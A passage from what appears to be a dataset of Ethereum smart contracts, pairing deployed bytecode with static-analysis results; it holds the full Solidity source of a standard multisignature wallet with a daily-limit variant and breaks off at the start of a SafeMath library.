054906101000a9004600160a060020a0316600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561099b57600080fd5b505af11580156109af573d6000803e3d6000fd5b505050506040513d60208110156109c557600080fd5b5051610f2a565b5090565b600154600160a060020a031681565b60006109f96109ec6105b3565b6109f4610dc2565b610eec565b90505b90565b600054600160a060020a03163314610a1657600080fd5b60038054600160a060020a031916600160a060020a0392909216919091179055565b60006109f9600360009054906101000a9004600160a060020a0316600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610a9057600080fd5b505af1158015610aa4573d6000803e3d6000fd5b505050506040513d6020811015610aba57600080fd5b5051600254604080517fb410a034000000000000000000000000000000000000000000000000000000008152905161079d92600160a060020a03169163b410a0349160048083019260209291908290030181600087803b1580156106e057600080fd5b60006109f9600654610f5c565b60006109f96109ec610a38565b600154600160a060020a03163314610b4e57600080fd5b6001805460008054600160a060020a03808416600160a060020a0319928316178084559190931690935560408051939092168352602083015280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a1565b600054600160a060020a031681565b670de0b6b3a764000081565b60008054600160a060020a03163314610be857600080fd5b50600554808210610bf857600080fd5b600580546000198301908110610c0a57fe5b60009182526020909120015460058054600160a060020a039092169184908110610c3057fe5b60009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055600580546000198301908110610c6b57fe5b60009182526020909120018054600160a060020a03191690555050565b600254604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a0384811660048301529151600093610dbc9316916370a0823191602480830192602092919082900301818887803b158015610cf357600080fd5b505af1158015610d07573d6000803e3d6000fd5b505050506040513d6020811015610d1d57600080fd5b505160048054604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a0388811694820194909452905192909116916370a08231916024808201926020929091908290030181600087803b158015610d8b57600080fd5b505af1158015610d9f573d6000803e3d6000fd5b505050506040513d6020811015610db557600080fd5b5051610fc1565b92915050565b6005546000906109f990610f5c565b600054600160a060020a03163314610de857600080fd5b60048054600160a060020a031916600160a060020a0392909216919091179055565b60006109cc610948610e1a610dc2565b600260009054906101000a9004600160a060020a0316600160a060020a031663a035b1fe6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561076c57600080fd5b6000610ee6610e7e610e1a84610c88565b600254604080517f6fb8f350000000000000000000000000000000000000000000000000000000008152600160a060020a03878116600483015291519190921691636fb8f3509160248083019260209291908290030181600087803b15801561099b57600080fd5b50919050565b6000818310610efb5781610efd565b825b9392505050565b6000670de0b6b3a7640000610f198484610fd7565b811515610f2257fe5b049392505050565b6000610efd610f4184670de0b6b3a7640000610fd7565b83611010565b600082821115610f5657600080fd5b50900390565b600080600080610f7185600580549050610eec565b9150600090505b81811015610fb857610fac600582815481101515610f9257fe5b600091825260209091200154600160a060020a0316610c88565b90920191600101610f78565b50909392505050565b6000828201821115610fd257600080fd5b500190565b600080831515610fea5760009150611009565b50828202828482811515610ffa57fe5b041461100557600080fd5b8091505b5092915050565b600081151561101e57600080fd5b8183811515610f2257fe5b815481835581811115610566576000838152602090206105669181019083016109fc91905b808211156109cc576000815560010161104e5600a165627a7a723058205cc452b13fa9ffb16eff776d42640f35cb9f2c12aac5e3e4d805c1b4a03a69b10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,454 |
0xAC5956BE81D94a5D1BC2d07A4E7639f9F8B3D416
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110c9565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111af565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a3600480803590602001909190505061127b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112d7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a60048080359060200190919080359060200190919080351515906020019091908035151590602001909190505061136b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114c7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116f1565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b61074360048080359060200190919050506116f7565b005b341561075057600080fd5b61076660048080359060200190919050506117b1565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061198e565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119ad565b005b341561082f57600080fd5b610837611a28565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a2d565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a33565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d4a565b005b34156108fc57600080fd5b610904612042565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e91906121ec565b506003805490506004541115610bad57610bac6003805490506116f7565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211158015610f9f5750818111155b8015610fac575060008114155b8015610fb9575060008214155b1515610fc457600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110309190612218565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111a75760016000858152602001908152602001600020600060038381548110151561110757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611187576001820191505b60045482141561119a57600192506111a8565b80806001019150506110d6565b5b5050919050565b600080600090505b600380549050811015611275576001600084815260200190815260200160002060006003838154811015156111e857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611268576001820191505b80806001019150506111b7565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112df612244565b600380548060200260200160405190810160405280929190818152602001828054801561136157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611317575b5050505050905090565b611373612258565b61137b612258565b60008060055460405180591061138e5750595b9080825280602002602001820160405250925060009150600090505b60055481101561144a578580156113e1575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806114145750848015611413575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561143d5780838381518110151561142857fe5b90602001906020020181815250506001820191505b80806001019150506113aa565b87870360405180591061145a5750595b908082528060200260200182016040525093508790505b868110156114bc57828181518110151561148757fe5b90602001906020020151848983038151811015156114a157fe5b90602001906020020181815250508080600101915050611471565b505050949350505050565b6114cf612244565b6114d7612244565b6000806003805490506040518059106114ed5750595b9080825280602002602001820160405250925060009150600090505b60038054905081101561164c5760016000868152602001908152602001600020600060038381548110151561153a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163f576003818154811015156115c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611509565b8160405180591061165a5750595b90808252806020026020018201604052509350600090505b818110156116e957828181518110151561168857fe5b9060200190602002015184828151811015156116a057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611672565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b60038054905081603282111580156117495750818111155b8015611756575060008114155b8015611763575060008214155b151561176e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561186657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118d257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361198785611d4a565b5050505050565b600061199b848484612048565b90506119a6816117b1565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e757600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ac857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b2257600080fd5b600092505b600380549050831015611c0d578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b5a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c005783600384815481101515611bb257fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c0d565b8280600101935050611b27565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da657600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e1157600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611e4157600080fd5b6000808881526020019081526020016000209550611e5e876110c9565b94508480611e995750600086600201805460018160011615610100020316600290049050148015611e985750611e97866001015461219a565b5b5b156120395760018660030160006101000a81548160ff021916908315150217905550841515611ed75785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168660010154876002016040518082805460018160011615610100020316600290048015611f805780601f10611f5557610100808354040283529160200191611f80565b820191906000526020600020905b815481529060010190602001808311611f6357829003601f168201915b505091505060006040518083038185876187965a03f19250505015611fd157867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612038565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff0219169083151502179055508415156120375785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415151561207157600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061213092919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600062015180600754014211156121bb574260078190555060006008819055505b600654826008540111806121d457506008548260085401105b156121e257600090506121e7565b600190505b919050565b8154818355818115116122135781836000526020600020918201910161221291906122ec565b5b505050565b81548183558181151161223f5781836000526020600020918201910161223e91906122ec565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b61230e91905b8082111561230a5760008160009055506001016122f2565b5090565b905600a165627a7a7230582061d97df6cd7fe87779d9fa28992d2fb80b4429a67017241e906d53439973c7c90029
|
{"success": true, "error": null, "results": {}}
| 8,455 |
0x8d6532406e3dac939cb16f85a90a2c7232a84980
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
